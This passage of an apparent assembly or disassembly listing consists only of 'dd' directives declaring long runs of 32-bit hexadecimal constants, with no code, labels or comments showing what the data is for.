0FDA65A81h, 18437000h, 98C7A0h, 0CE787FC2h dd 626AA708h, 0FDD77A00h, 295DF42Ah, 0C9DA00D5h, 0FC20653Eh dd 59161E77h, 240FCBB6h, 260017FBh, 30AA3E5h, 0ABA20E90h dd 0FC0AD8CDh, 5E7300A8h, 2F6C3441h, 36452001h, 7681F5C0h dd 9F07D06Ch, 0F799757h, 8A302E60h, 0B89E6C8Fh, 0D6C51280h dd 7F2D371h, 9A46BE37h, 10E3F0FAh, 992DC383h, 0DD1003D2h dd 0ACE8A8EEh, 0FA427B7h, 4B57000h, 0C4BA3345h, 2289F400h dd 9399E37Dh, 3667005Ah, 4BC373BAh, 0A801B460h, 280A3390h dd 1AFC18CCh, 0DF253D4Eh, 0EBD7E680h, 6445ECA3h, 2608CD48h dd 0B10E9829h, 0B3A8408Eh, 0A083B080h, 4EA7C4h, 7AE05451h dd 0E7AB8CCAh, 7717889Ch, 0DFB7D000h, 7E01CE21h, 8495072Bh dd 106BB66Ah, 1DC1DC9Ch, 70C5D824h, 24D28C00h, 941E3904h dd 0DC768ED8h, 3E25AB40h, 0BE70C5E2h, 0F80090B8h, 40D9A4F9h dd 0C96724h, 0CC8E7292h, 82533717h, 6B151300h, 0EC02BC8Dh dd 50A2000Fh, 6A3F8EAh, 3F1764EFh, 20802A16h, 0B05952h dd 514F82E4h, 0A5FD8B35h, 8D0129F0h, 381BBB33h, 17EC3052h dd 3B2B019Ah, 86A4B91h, 0CD84D866h, 3D1038E3h, 9B208071h dd 0ECCE27A2h, 0B492A4h, 1113DA07h, 50DC1AB3h, 9E3CCA73h dd 0D89EF3DDh, 33634000h, 1E22E164h, 2F7B963Ch, 0F16E84A3h dd 0BE2EFC00h, 0AEA32B23h, 0CAD48F6h, 0E59F1708h, 0F1C484Bh dd 1CEC91CAh, 301A808Bh, 0B74AFAB0h, 9B0BF500h, 0CF9091EBh dd 0B37295h, 3386826Ch, 5B0602D8h, 0DC13472Dh, 51003E42h dd 4A71F73Ch, 1F77F9C9h, 0BEA6F800h, 282ADFFFh, 8630009Ch dd 0E4324DBh, 5DEE6472h, 0A8AF772Eh, 0E3C2F242h, 158AE0A5h dd 0EDD806F4h, 1162757Bh, 8200B8EAh, 0C4665472h, 39DE9023h dd 0AE85E0ECh, 0C7D640E9h, 67BB410Bh, 4F6AC4B8h, 50598D00h dd 41ACDE6Bh, 16217DBDh, 1B9FC1h, 54F7C841h, 1D003313h dd 27B59EBAh, 0A071AABFh, 6C65ACh, 0ED2306E9h, 566CB8Bh dd 0BBAC9C1Eh, 7E9F8CDFh, 47D79340h, 0E0EFAFh, 0F75877C7h dd 0CCF9B907h, 959EC100h, 1D618651h, 400127DEh, 0E3EEC81h dd 304B2AEEh, 35AB82E2h, 53A4E0EDh, 0E445006Ah, 803BB609h dd 0C5009A63h, 81ACA29h, 1DF07F1Fh, 0CC503F2Ah, 0CE28E7B2h dd 97758300h, 4FA52856h, 18E8D8h, 4DB88D9Bh, 74111D7Eh dd 0AC07D400h, 2205F7DBh, 4338036Dh, 0B1836391h, 4A8A7DD0h dd 0A10D1A06h, 0A89026h, 73244ED7h, 22FEF0D6h, 0C406494Ah dd 403008B1h, 0D0E78072h, 5801A101h, 3956BE1Ch, 7F700294h dd 18B13B5Ch, 3EAAC500h, 67CDF026h, 0B603E978h, 7510ED36h dd 0EC90EC7Eh, 74FE1A62h, 0F88F957Ch, 24A0C78Fh, 5D2D2902h dd 2839D40Ch, 18807182h, 287DFDDEh, 8CEB42F8h, 98028A49h dd 14525782h, 49381271h, 38EAC13h, 99DFB309h, 0D01BD0FAh dd 19540085h, 915EE4F1h, 5900D26Eh, 46A9C6C7h, 0FEFB4376h dd 25C858F5h, 58F2D000h, 6036C4EDh, 0ADE30A0Fh, 197C6015h dd 4A5E7F4h, 0EF173993h, 96DF809Dh, 0EA1686B3h, 0FB004097h dd 0E1DE3EF4h, 853B0042h, 811D28CEh, 0F1904A01h, 76BA5700h dd 6083D099h, 9B070061h, 4AD852F0h, 280122DAh, 0D9378441h dd 91D4E6E0h, 0D7813h, 0E1739C15h, 5A3DACE7h, 0F734E400h dd 12100FAEh, 9B2707E9h, 0AE4B5E24h, 0B57C6AC0h, 73039FBDh dd 33561251h, 0B018FB59h, 2CD17h, 60D08825h, 419B8429h dd 3C090D00h, 0E9467856h, 98D4A9FFh, 1303AC0h, 555CE528h dd 0D15D3D11h, 77246C82h, 5E3A0803h, 0E0FAE515h, 0A97A529h dd 76D7ABF9h, 0F36483DCh, 3CB846F1h, 4300FA17h, 0CA7FF72Ch dd 7C5E8182h, 0E5D80C01h, 47803E78h, 39E7048Ch, 62ED290Bh dd 0FD221A7h, 1CD8603Ah, 0C9029302h, 0E0238F06h, 0D320722h dd 2E3FC452h, 80402F70h, 466FC997h, 841600E8h, 0F6207770h dd 0B4BA2108h, 0E60E9EE2h, 81D651B8h, 3EBF7D25h, 40750892h dd 0B8EEF194h, 502547F0h, 0B77423h, 0F93C022Eh, 57633BD2h dd 2E722170h, 10C231h, 0B619529Ch, 7E7F652Eh, 0F326C426h dd 683A8400h, 5EFEDAh, 9E2BCD77h, 0F38C7FF6h, 9C708D28h dd 0E9035F01h, 6278746Dh, 0C03545F0h, 21B91570h, 891C0892h dd 9300A642h, 5FF5207Dh, 0B6F6B3h, 841967B2h, 0D7FEDB35h dd 0A78D0407h, 9520A307h, 0F0B52685h, 1FF1F380h, 20BC2BE1h dd 75DDB606h, 0BD0031D4h, 0ACECD8DBh, 0AB48FBh, 0C413D53Dh dd 0CA74145Bh, 0F121AD00h, 88AE966Bh, 3F6C00C3h, 0C607EFC1h dd 0B8008097h, 0A5938A44h, 53A77594h, 419C1499h, 96A83C89h dd 2D9980BCh, 8C6205ADh, 21850C59h, 68B19250h, 4F3A8FE1h dd 94118583h, 0DDD30C44h, 8815821h, 15E342EBh, 2118A9DCh dd 19A019F3h, 0ED49F410h, 0EAE26182h, 0E788A1D2h, 0A0808C99h dd 5E909CACh, 0E831427Bh, 0F2052118h, 1847EAD4h, 5181112Bh dd 0BE506F26h, 9300761Ch, 11436CADh, 781BB432h, 0E81C78BBh dd 0D76F0803h, 0A70730EAh, 10826ED5h, 6108874Eh, 962783h dd 91452D71h, 0A8A39AF8h, 0B8293F72h, 892694B3h, 105100Bh dd 0A6CFFCB4h, 708A1882h, 0CFC0458Ch, 0FCA823F8h, 7A1F2B73h dd 0B7405247h, 540C3975h, 1508EE2Eh, 80149B50h, 0B5312F30h dd 0B90091E3h, 7E51BD7Bh dd 555CB6Bh, 93E073A6h, 0F12C0003h, 0EF856E7Ch, 0AE262400h dd 0C470F816h, 0DCFC0087h, 271C0D3Dh, 0B2CB0FFh, 0C600A12Fh dd 5BF24EF9h, 7C54908Ah, 31D7070Ch, 0B318AA42h, 1803B8C3h dd 8F826A14h, 90D92CD6h, 0C0630036h, 64B9EE2Fh, 8DC24200h dd 857E4669h, 0FE111889h, 444E992Ch, 3595AF00h, 6240147h dd 337E017Fh, 85215D90h, 3881F057h, 0CDDB3402h, 815CF397h dd 0DE5028B0h, 3E2EEC51h, 76B0C451h, 952CB30h, 9B816D3Bh dd 53D62E80h, 0D9009827h, 194CEEDDh, 93FAB67h, 7A8F8813h dd 6EB87800h, 0A5395175h, 0E9DE0082h, 0B4B19CDAh, 130E1481h dd 0C1FA04B5h, 113C56C2h, 603152F0h, 2646D076h, 5075FB36h dd 0C1C63F8h, 0B3874213h, 8B115261h, 2888AF70h, 0A991730Ah dd 0A47BDB00h, 316421E0h, 3A143E00h, 18D91953h, 2C0A3E71h dd 28011B3Dh, 6AF69A1Ah, 5AC2C8E6h, 1EBAF300h, 0E598B1C6h dd 97CB1C6Dh, 4E1840E7h, 3CFBD6FAh, 51F44B00h, 935D556Ah dd 6404006Fh, 72F2A70Ch, 1A0016A2h, 7A415F20h, 0CD2F01h dd 5ED960F6h, 0E540425Bh, 5534B3Dh, 0DEDC67CEh, 0F580E900h dd 260E39h, 0FB3AE9E0h, 4A97515Bh, 314CA500h, 0DCEECCCBh dd 0A0F300FEh, 4783743Ch, 451E5433h, 90000F72h, 0C3BD0E7Fh dd 59630F77h, 3A20A7ECh, 82F19D1Dh, 4D3E6770h, 3BEE80BCh dd 6861B087h, 0C78A012Eh, 4F6B0D9Dh, 0F77DE837h, 6A31D500h dd 36BA5D10h, 85F8002Dh, 29461335h, 0D401B1CBh, 0DA3DBD21h dd 90FBABA5h, 0E7B3A76h, 721D96CAh, 31D2E220h, 1100CB15h dd 6A0182EFh, 1E1BC866h, 8026CFD7h, 0E3CE3527h, 0D8008CC0h dd 0BDD4672h, 676B8176h, 60FC60D0h, 0AC07146Eh, 708CBA0Eh dd 0F4F00031h, 0EADA6A4h, 0F6055F1Eh, 49E45566h, 7F5EC800h dd 0DAA17C09h, 9C500E99h, 0CDA2D48Bh, 0B48174E8h, 0F019044Eh dd 0B5007F87h, 2D9734C8h, 0A80F71h, 2985709Eh, 79010C31h dd 0E4446003h, 0E8976125h, 78CA46F9h, 0BE5E006Ah, 0EAC4DB4Eh dd 0E001B49h, 0D122CE2Fh, 48C5AADFh, 8F006C5Dh, 4EB57AC2h dd 0AD006D74h, 88C4F2D2h, 48D1C951h, 0CD07433Ch, 302AB705h dd 0EA1B0E68h, 0A8624B30h, 0AF9DCBh, 0D43390FFh, 0AA262AFCh dd 0EC9EBE01h, 0CA195831h, 1A3FC24h, 0FFAAD7Bh, 9FB3096Eh dd 0E500C1E9h, 47B68ECEh, 2BD00094h, 53C6F622h, 0B200F170h dd 0BB88ED1Dh, 79A84AD3h, 2BB40698h, 78915C59h, 41079C87h dd 1EB067A3h, 0B8C7C5h, 0BF315306h, 5B6E4D12h, 1C3D74CAh dd 8007A0E3h, 39AA45Eh, 3C2E9258h, 0B9C9494Ch, 8BD7EC20h dd 3807BA00h, 9F6A430Eh, 93D52D12h, 0D000B976h, 72203BBBh dd 0B84C0021h, 33992278h, 0C538A3E3h, 0A65B07C9h, 0B8051EEh dd 9D2747h, 0BD7AE748h, 0E9EC362Fh, 10C024B0h, 90300BB4h dd 0AE2FE92h, 5A191B06h, 4AC03A4h, 9AF9C5B3h, 0AAC2413h dd 0B25C7C00h, 53FAD1Fh, 0C779A0h, 9B6AEC31h, 5A248050h dd 0EF0E97F8h, 0C0C0372Fh, 4303D866h, 1BBF00DFh, 97E514E2h dd 63019E3Fh, 0B2DB4641h, 7AD4DE3Eh, 0B8C83AE4h, 4994F31Fh dd 0C21CE72h, 23248990h, 0E66F1D34h, 0C69F0079h, 8FCA80A4h dd 4AF757Eh, 88CC1CFCh, 81A0C3B8h, 0CE5F02A8h, 3F18D190h dd 0FFC87320h, 0F5B00Eh, 19344B89h, 0D66D12DEh, 9206F4A7h dd 239C70Ch, 0D0479853h, 6BC0FB0Ah, 96008E5Fh, 0C1A185ECh dd 2426082Ch, 0C0445ADDh, 0C853354Bh, 5767AE00h, 0FFACB4D9h dd 88A24D06h, 0E3509300h, 0BC606B12h, 0D1264F00h, 250BF34Ah dd 0C9553824h, 8A8103B0h, 39508F92h, 5E0554ACh, 78EEDB96h dd 452FD440h, 3410FF1h, 0A4F50598h, 0C88E952Dh, 0B6A33A00h dd 43B550E5h, 97BD007Dh, 0AC9CC60h, 0D807AF9Ch, 3588B23Ch dd 2C0FB9ACh, 5034461h, 32B620DCh, 0FCC2EFC0h, 0CCC45861h dd 92007E70h, 0F66C944Bh, 2B0DC641h, 3EB886B1h, 6E1BED00h dd 22F291BCh, 0AEB3C11Dh, 802D79C3h, 0D546D8F7h, 8D74004Ah dd 1A1ED838h, 0A8A02E6Ch, 5F80B472h, 4D9000B5h, 0F4D06366h dd 42E7E35h, 0FF03318Fh, 0F0262908h, 484E8913h, 2800506Ch dd 0A58AC0BFh, 200090A3h, 3ADB476Bh, 1A2572Dh, 0AB0D55D1h dd 608AA7EAh, 0D20125BCh, 0AFFA1466h, 9C435DDFh, 211FC8D0h dd 0ECD6151Ah, 0D40F949Ch, 0EF8356C3h, 0C898E076h, 130005F7h dd 8C84ACB6h, 1DB0CD2Eh, 0C63C6815h, 0A01127CCh, 3FFEAA73h dd 0FF4E3100h, 2A09A7EFh, 43B61CE5h, 6CC0C250h, 784E6245h dd 0B871EF29h, 0C2741115h, 62E352A4h, 0C7C80234h, 876540D2h dd 0FBCB04CCh, 0C0959EF9h, 3C6D4A20h, 0E7F7AA00h, 81789DADh dd 119B0031h, 0DD1A6447h, 7D059F0Dh, 0EEDCFE59h, 2A6BD800h dd 484127CFh, 4850A82Eh, 2661F468h, 810484FBh, 7EEB126h dd 0C3BC3278h, 91C27EF8h, 0C60DF21h, 0F65601CDh, 95C5040h dd 437C2461h, 5AD362C0h, 0F3058DC5h, 35B55880h, 868A498Bh dd 9626FC0Bh, 66400A0h, 19D94E8h, 0E92BB0ABh, 509B4656h dd 40A17DD8h, 2B38E0Ch, 1EEB8EAEh, 40F94808h, 8AEF0D75h dd 9D1C0771h, 0E4C03CF2h, 37A0AA2h, 1E7C12FCh, 40581D49h dd 0CED54B41h, 3B0CC53Eh, 60762409h, 0A795006Bh, 36A6077Ch dd 0E28634Ah, 9A01B78Ah, 3F429F76h, 79FD4C47h, 1DD83084h dd 5AEFC09Ch, 4100FF8Bh, 5C540E20h, 3D792F0Ah, 2A80C058h dd 86FA74Ch, 0C202DCDAh, 3386F557h, 0AD4C408Bh, 0DE2F09FFh dd 1F80D5EBh, 6C3D19ABh, 9AF58301h, 5ED69944h, 5445D4h dd 301FD942h, 0B966D5CDh, 3DEAFE03h, 0A23EF68Ah, 586040FCh dd 0D0C755A7h, 0A2FA6F42h, 0C0E245E4h, 3B7936A3h, 580B96Ah dd 0CC7157B1h, 10E4E6D5h, 0BA650B1Fh, 0D62462C0h, 0EA67BFh dd 5892735Fh, 89684A47h, 0CEF58100h, 0F16ED087h, 3313394Eh dd 4032620Fh, 9BB5003Fh, 1AA03E94h, 0AB26A00h, 0D2DBDE5h dd 7CDAF8AEh, 5ADE00C6h, 0CACD0F6h, 7600BF92h, 0B5CCE90Bh dd 0FA8BD444h, 0C57B02h, 0C7AD1162h, 4079ED1Fh, 9575362Eh dd 0CE3D803Dh, 978C4CF3h, 50731567h, 0D212A80Ah, 7F421D1h dd 0DE980062h, 4D470263h, 5D69CB2Dh, 0BB03C850h, 413219E9h dd 0FF5AE049h, 3CACFC02h, 0DD2CBAEEh, 10B8838Ch, 6B9A9386h dd 0B4986050h, 3CA5383Bh, 262B8B58h, 8284A9CAh, 48E0B41Ah dd 0C090B758h, 2D65089Ch, 0CC00ECE2h, 2B9D37D2h, 2C26861h dd 0A0421615h, 54685775h, 2870CF74h, 80248859h, 89425AD2h dd 95A6000Eh, 3A2260F3h, 0AF003FA1h, 0D1FF2303h, 715169C0h dd 150116E2h, 0D4D1031Eh, 3DA8A950h, 0F417FFE5h, 0D00B1A47h dd 5976073Fh, 8099F5A3h, 72E92Eh, 0F9A2628Dh, 7830EC2Ah dd 0EC2C3F24h, 89038780h, 7AB66A85h, 98647B10h, 0B58B21E0h dd 57459100h, 10940FCh, 0A51A5B03h, 5093F9B8h, 5C155AA4h dd 0F090E858h, 690F25D5h, 589E5876h, 9B44988Eh, 95B40060h dd 0C5CADC6Fh, 46583FEAh, 721DE018h, 0FD620193h, 0B16B8824h dd 0D3188156h, 6A4A96FFh, 172064h, 872B9ABEh, 0D4701DC9h dd 0F456600h, 0A9D59968h, 24810209h, 0E3471690h, 0B7670051h dd 8C0B1255h, 4A50989Fh, 0AB3F0146h, 0DFC39EFEh, 53843433h dd 0D0E5262Ah, 230090B8h, 0C80370FAh, 0C040EF15h, 0C73092C1h dd 987DFBBBh, 0FE45C909h, 0C39CA097h, 499C5912h, 4603505Ch dd 4D48F74h, 0B9DE1DA0h, 9F6839h, 228E4535h, 0C334DDh dd 27DFC581h, 0FB71C90Eh dd 4D6FA000h, 0E4D488C7h, 0B5850772h, 0BFDD97AFh, 9AD0E140h dd 71003E3Fh, 14F4A4D7h, 5ABE3E6h, 0B3BB0181h, 5FF44269h dd 146086C8h, 41E16A09h, 50BEBFF4h, 3357FAB8h, 8BEB160Ch dd 712FB117h, 10DE60Eh, 9CD15CFEh, 704ED7B9h, 963A0C27h dd 0DDC080A6h, 56AEF8CEh, 62EF0073h, 0C5121B3Eh, 8A3F4696h dd 0AD0070AFh, 0EF9ED1A1h, 0E4C1FF32h, 939C00EBh, 8630CA0h dd 0CC0042A7h, 21D10568h, 31B8C3h, 94823472h, 45A14BA2h dd 0DF14E100h, 0EF1B677Fh, 64102624h, 9370B18h, 0E001AC0Eh dd 38D18CA7h, 0CF9B0000h, 0D23E5EAFh, 136E0FB9h, 405E70A5h dd 8F22E4F8h, 0EA009048h, 0CA56FD61h, 941155h, 16763C7Dh dd 0D228C7D1h, 280CF59h, 3043AB04h, 0EBDC68BFh, 160324C7h dd 572381C4h, 30BA95F8h, 78169E6Eh, 0D0007C5Dh, 4E8B7FFDh dd 525E012Ch, 0E4535AC9h, 7EB4603Dh, 1C9F2048h, 505FD88Ch dd 32D9AB80h, 0B5CA1Eh, 15E42507h, 0F5BE35A6h, 4975C300h dd 0B869868Eh, 821A0391h, 52E39DEh, 550B01A0h, 0A4EAD1E6h dd 0E61FDD0Eh, 704B206Ah, 0FFC79Ch, 0A1740825h, 11DD5D60h dd 0C6D09607h, 48D02947h, 7ABA942h, 0AF4EED68h, 122BF09Fh dd 1C0FA6E6h, 833AC7A4h, 0F8EB5E74h, 9D597Eh, 3B7CE3EDh dd 0F7E8B92Eh, 0E67D0B00h, 90BB2D14h, 501C00E1h, 5C823BE7h dd 0DD0091F3h, 0AF8B9F6Fh, 35CEAEh, 18FB5F78h, 14D979FFh dd 0B8633203h, 90812AD0h, 0BCF3173Bh, 86B60056h, 93E6A630h dd 8E65A300h, 0C8AF0D11h, 2F2B3h, 77B823E8h, 0C362DC99h dd 10D8BF00h, 0D05D4514h, 17B00084h, 0B37559C5h, 0BBF68E6Bh dd 0F48AFF6h, 22970220h, 40E39BFDh, 38B1ADDCh, 0FC002552h dd 9E9AE0AFh, 8E07B0B9h, 61EE0575h, 4440400Eh, 74A86Fh dd 0D45D4202h, 0D77E3368h, 964F9A09h, 0A0200C26h, 3EAB5h dd 32F1F0F2h, 0DB157C6Eh, 991E8DE4h, 7440FF58h, 9695F230h dd 50603BB6h, 0A5B0DB00h, 847FC6D4h, 0A1667600h, 4799BD70h dd 7C5500D0h, 6ACE7858h, 0E00C42Bh, 277B6F76h, 4A960426h dd 6B5C00A3h, 57A679E9h, 0A45EDFA0h, 6941B100h, 0F963BBBDh dd 34E10042h, 0A5ADC053h, 0ED021A9Bh, 54CAA17Fh, 0B3306881h dd 0A0103E6h, 0BA73F97Bh, 36CCD912h, 5C60D813h, 0EC85519Ah dd 8EA700D4h, 0BB7443CBh, 0D7001D75h, 0D2A904BDh, 0D08081h dd 5A97A5FFh, 8B1FA4B8h, 0FA89EA02h, 0C3315023h, 39DCE87Bh dd 7DF800BAh, 3D2990B2h, 10064E8h, 9F2EE6C2h, 37A6C8h dd 738D50DBh, 0DD7F0A85h, 0F7011902h, 0E3DEBA4Eh, 1E69A0E4h dd 9B7200D9h, 0BCC84F43h, 14035A5Dh, 0C1DE821h, 3AF6A87Dh dd 3F880025h, 6E638BE9h, 0E00604Ah, 52C64F8Ah, 58BCEE65h dd 6C0085CAh, 0DCF679F9h, 0F100C3D2h, 621D15A5h, 1C49066Ah dd 817CB423h, 4F0CB0Eh, 7ADAEC6Bh, 0C090C600h, 85D03851h dd 46F70078h, 68186D4Fh, 0A50143F2h, 8AF9804Ch, 0BC2C7E9Fh dd 0D6D06400h, 0ABAA4DEFh, 36BBA112h, 2CF035A0h, 1EC065B4h dd 0D583CEEAh, 4BCBC03Dh, 13A7649Dh, 0F5DAD150h, 8303F62Ch dd 0C9F10D01h, 0CC6023E3h, 4ABF0022h, 8EA825CAh, 826116D5h dd 2A8FDA18h, 0D903E038h, 0E7173056h, 91D30812h, 868044C7h dd 394BB31h, 3C11EC47h, 20A8DDA0h, 19177D6Dh, 0F9011FCFh dd 0DF60F79Ch, 0A4A8E0h, 78BF2B1Ch, 0AC153608h, 2FE33C00h dd 0FE96C822h, 0E7BE00F9h, 2A04305Eh, 0C8B6505Dh, 620A4C1Ch dd 0A680887Ah, 7E8E1F38h, 4EFD0030h, 4D3215BCh, 1D00DA26h dd 449A9966h, 2089456h, 0F3A9401Fh, 20801903h, 0D98010FCh dd 16E9E617h, 0BB308800h, 6E5232E7h, 0BE6A70B5h, 77E6480h dd 8E0014C7h, 3D548801h, 199D7DDCh, 6F598057h, 70E46968h dd 7C50FB0Fh, 49CDE2C9h, 78500Ch, 0DB27F29Dh, 0C489CB58h dd 17B94D07h, 0D010F0B2h, 0D4475CCh, 88C5C6B0h, 40026181h dd 90EC8DABh, 1F587718h, 0C3555218h, 61828108h, 46950AC8h dd 0EEEA000h, 0E597082Dh, 9ADA1320h, 5CD9008Ah, 487C36BFh dd 9F395060h, 1964D18h, 43D2583h, 0D0977691h, 5E00567Eh dd 0D3DCE30Eh, 0FB63C9h, 838EA561h, 0BE086A10h, 0A1B1C530h dd 0E3243E5h, 4B27641Fh, 0BBB28180h, 6D3F2651h, 107A0F77h dd 38B400E3h, 0CE203D3h, 0EFDA638Fh, 0C1072141h, 4C279996h dd 78AD8C3h, 488D2A19h, 4E8E10B7h, 7F50A461h, 0F000A0B7h dd 8F20BAB6h, 98788698h, 7E5186Ch, 84BCD9E7h, 0C00C2EEh dd 9159A6D5h, 0F8C157D9h, 0FB78B7h, 362D9DF2h, 0A4C6B293h dd 0BE45D003h, 7BC97D9h, 0F0565E20h, 0E0CE2013h, 0CA604E5Ch dd 0B0F5B210h, 0F610032Ch, 0F93B575Dh, 0CD970818h, 0B0DED220h dd 3312002Ah, 0B3E22D8Eh, 7C605CC6h, 0C8B5FA41h, 85371E71h dd 0CC5EC09Dh, 872CEB51h, 634A4239h, 921330h, 29460350h dd 0A7A6BC9Ah, 0D62BEB01h, 40AD95CFh, 3C59A0h, 8D104A18h dd 1201460Ch, 7D625F00h, 9773FC17h, 0ECCD009Eh, 39262E9Ch dd 50C1BDA6h, 0B064C9D7h, 0C673F088h, 0ED2F9200h, 0F6709Ch dd 0CF06E48Ch, 0BF9BE8F4h, 59160507h, 9E8797D3h, 99C0B644h dd 4003C1h, 6D6932A4h, 0DB6F55F7h, 4B019AB8h, 8D1B863Eh dd 0C4CD9CBDh, 7A9B20h, 0D75AF85Dh, 9BB437A0h, 0E7483A73h dd 0CE3AA5h, 0B97A8AB8h, 3B9886h, 842AF993h, 4DE9FAC0h dd 0F01FD900h, 27BED51h, 9EF80176h, 0FE0E9794h, 0E969708Bh dd 28252D01h, 710A6154h, 9E041D0h, 21AEC6A0h, 0A86E5901h dd 0D369F8B6h, 6B52BE18h, 77FB410h, 22E82EEEh, 0DAD0B15Bh dd 68A1FC5Ah, 4FD20C0h, 60880AF2h, 0DA541060h, 0E0048C2h dd 9A8FA594h, 3BC066h, 0B7F806F4h, 61716B54h, 4800C1E6h dd 99155ED3h, 81B942h, 80177CDBh, 6D880C56h, 0A3C951C2h dd 7F1CE093h, 855B00BAh, 0F5CAABC3h, 94066433h, 51BEB676h dd 59E400B1h, 5FB2C7D6h, 6100F8BFh, 0C53537BBh, 67D25CF1h dd 31EF2954h, 806ABE1Dh, 32280311h, 0E084A63Dh, 480100BAh dd 0F3859F1Dh, 20784ECBh, 86EAE03Bh, 5560DE6Ch, 0DFAA0738h dd 2049A7EDh, 0FEACB173h, 0E9B50132h, 40BA8F02h, 0B88CE6C8h dd 57D0C3A6h, 609FF627h, 75BE5607h, 21695003h, 80BC617Fh dd 2E5CA32Dh, 17658EFDh, 0CF810C51h, 3F6FB7B9h, 785F00B1h dd 0B5EAD3h, 6717697Fh, 0E415EBA9h, 0DBC2A700h, 0D1C855E1h dd 0B6980CF3h, 6B81C917h, 4177F700h, 690DDBB3h, 88807E2h dd 5303572Bh, 4FC18DABh, 89698650h, 37087766h, 0CF41FF15h dd 6F97F523h, 0F9171E8h, 0F152560Dh, 36C4F9B4h, 881092BDh dd 8FDE7Ch, 0DA4B7DACh, 58303304h, 2351FE00h, 1F85931Ah dd 8BA7183Eh, 227A31B9h, 4BCD6D0Fh, 815F401Bh, 0BD3730h dd 8AA95EEBh, 3C771036h, 0C6171A03h, 14FD1FBEh, 0D0733838h dd 417B09Ah, 4D2F80DFh, 55F9C1F8h, 79E05048h, 94415141h dd 0CA10B3EDh, 0AA00AB92h, 26E94FD3h, 0FCF3D888h, 0CB95027Ah dd 8BA0B663h, 8501A044h, 57AAC9A7h, 99F88925h, 0DA400023h dd 1CE6DB0Dh, 0D3004C02h, 5FBCF2F5h, 62316DD6h, 0E3069930h dd 819D5C61h, 7903B711h, 73D09F21h, 0FD1801DFh, 5CC54AEEh dd 0D8E4705Eh, 0DCCA5D0Ch, 36B488C9h, 0D0E1723Fh, 49550C33h dd 419C6D0h, 47EE33F4h, 7AC8D869h, 26B3A301h, 0E7E2111Eh dd 4C9FDB20h, 1D00C8CDh, 778E8608h, 0F950C4D5h, 40B10B98h dd 0EE18B979h, 0A70D981Ch dd 35430C5Dh, 0D0E9F499h, 0C06F75AAh, 0C7F8BDA1h, 0B500ED32h dd 3565957Eh, 0A6038Ah, 93DEE5EBh, 8EF9310Ch, 908CF40Dh dd 16F490C0h, 5629071Eh, 0C011186Bh, 0C853CE81h, 0B126620Ch dd 5889A4h, 27742596h, 7FC0A7EAh, 0B70C3D03h, 0F0483B9Bh dd 1FAEE8Fh, 9EB7933h, 4D5CEC70h, 0F7E8FCB0h, 553D1E07h dd 0E2911971h, 1424B201h, 2E210008h, 0B0A26473h, 923A7D74h dd 2109339Fh, 972EF072h, 95B4005Eh, 7A78E503h, 0E8F0B556h dd 8B807554h, 80E66F38h, 0D488C0A0h, 5049C8FBh, 529FC4C2h dd 32CF03Dh, 0C31E4060h, 5001DF8Ch, 0C079E428h, 0D851FB7Eh dd 8801BCFCh, 1A398063h, 4118B7F4h, 39D5E49Ch, 0F580EF6Ah dd 7B292EA3h, 68C82178h, 656E8E74h, 89483092h, 883749C6h dd 0A1702177h, 70A415E9h, 71FB0022h, 3DB0C27Ch, 0CA58B450h dd 85F4483Fh, 0A861F056h, 9463D2B4h, 0A5D56202h, 2CE05D25h dd 4A80A745h, 89EA0058h, 4D8C42A3h, 4F038077h, 569DB7Eh dd 0B429D0F3h, 0AD510A3Eh, 80F4BFA8h, 445FD276h, 783A3F1Ch dd 5CC0A4D5h, 70601844h, 0E81075EEh, 0CFC85ADAh, 0EE789480h dd 485689B5h, 0CE80A897h, 0E371D264h, 8104344Dh, 0FB06D807h dd 0CA26CC50h, 0C6991221h, 96B420B1h, 2003F54Dh, 29E79FDBh dd 9CCFC019h, 5EE038DEh, 22F8E524h, 0F6FF3E18h, 0BBCCF39h dd 816AB91Ch, 11B708F7h, 4D1834C8h, 0E0FD1B0Ah, 7692C038h dd 0BEC83C43h, 77490068h, 0D3043ABDh, 7B03A055h, 5A8C1814h dd 2F29D0C0h, 0A6E009F0h, 6490D2B7h, 30A4217Bh, 3E9E08C4h dd 37D24C8h, 0D5F611DFh, 40FCBEFAh, 947BBAA5h, 1268E632h dd 3A29383Ah, 0B66C1094h, 0E4B585C1h, 88F7DC80h, 6D2EBE72h dd 0F4427811h, 2668E88Eh, 0A0603F7h, 0D449DF7Ch, 69C15BB8h dd 0E36A7114h, 91316081h, 0C38867h, 8D8F1D74h, 53D26D89h dd 5CE951C4h, 1C7BF0C0h, 0D1112E1Dh, 0BF630362h, 99036239h dd 3113196Eh, 8E7DA1ACh, 7E2EADE0h, 203D01F0h, 27283391h dd 1D6C7203h, 207A85h, 81F00EA0h, 2DBFEA5h, 0A7F62700h dd 0F4520624h, 0C4B741E2h, 0B1C4BC11h, 4A4F155h, 0B0DA0465h dd 90A9646Fh, 12EAAAC4h, 801C9858h, 7D09B5A7h, 0EB0C00FEh dd 0CE741E2Eh, 4000CC7Ch, 0DEE6E0F6h, 14B13AE8h, 0C8188EDCh dd 3D8C61BCh, 36928DF2h, 1B00536Ah, 18C1210Ah, 66CCC0D0h dd 227EA503h, 461C44Ch, 21C8EA29h, 0D89086CDh, 9D9EF710h dd 53282200h, 23E76D8Dh, 62455B00h, 0E0647ABFh, 56820541h dd 1830D40Ch, 772158AAh, 0EFC36E18h, 3177AB8h, 5A73238Fh dd 21C0BE8Bh, 0E11E381Dh, 7B01C619h, 835899FAh, 3BC24880h dd 71661774h, 15632905h, 1820168Ah, 63209F5h, 8126A601h dd 400FC1B9h, 85E06687h, 18C0BCD6h, 7D403DAh, 0C247CAE8h dd 4FD9116Fh, 3060DA44h, 0E3032FE6h, 0E81899D0h, 0A5CB07Fh dd 24D7779Eh, 314CC32Bh, 104FDBB9h, 286C77F6h, 449C254Bh dd 0E605026Eh, 0FD5DFFCCh, 0E31DD440h, 24EE5C90h, 11306D77h dd 5F49000Ch, 0C9309728h, 0F07A0C0Dh, 0BF491975h, 32A75102h dd 0C09778EBh, 0A7F6B88h, 0B4847112h, 13BC80E0h, 0A3A9EB5Fh dd 0AFF57C00h, 5EDA87B9h, 0E6F610h, 0A8690607h, 6D9F8E08h dd 3544DB00h, 6A37BC70h, 2080B878h, 500A745h, 8288946Eh dd 0BCDCAFh, 0B239317Bh, 1A249C5Ch, 77BA2E00h, 4E4D5F7Dh dd 6866003Bh, 0A1E9FB70h, 0A805D055h, 72FE952Dh, 50A46D84h dd 8B4698F4h, 634ED084h, 395D00A9h, 90963C04h, 6F01EEB1h dd 91B9B8F9h, 80E0F079h, 0A1070267h, 61D39E45h, 0C0009CC5h dd 0B885CA10h, 0ABD40CB1h, 0F1807397h, 691E8F76h, 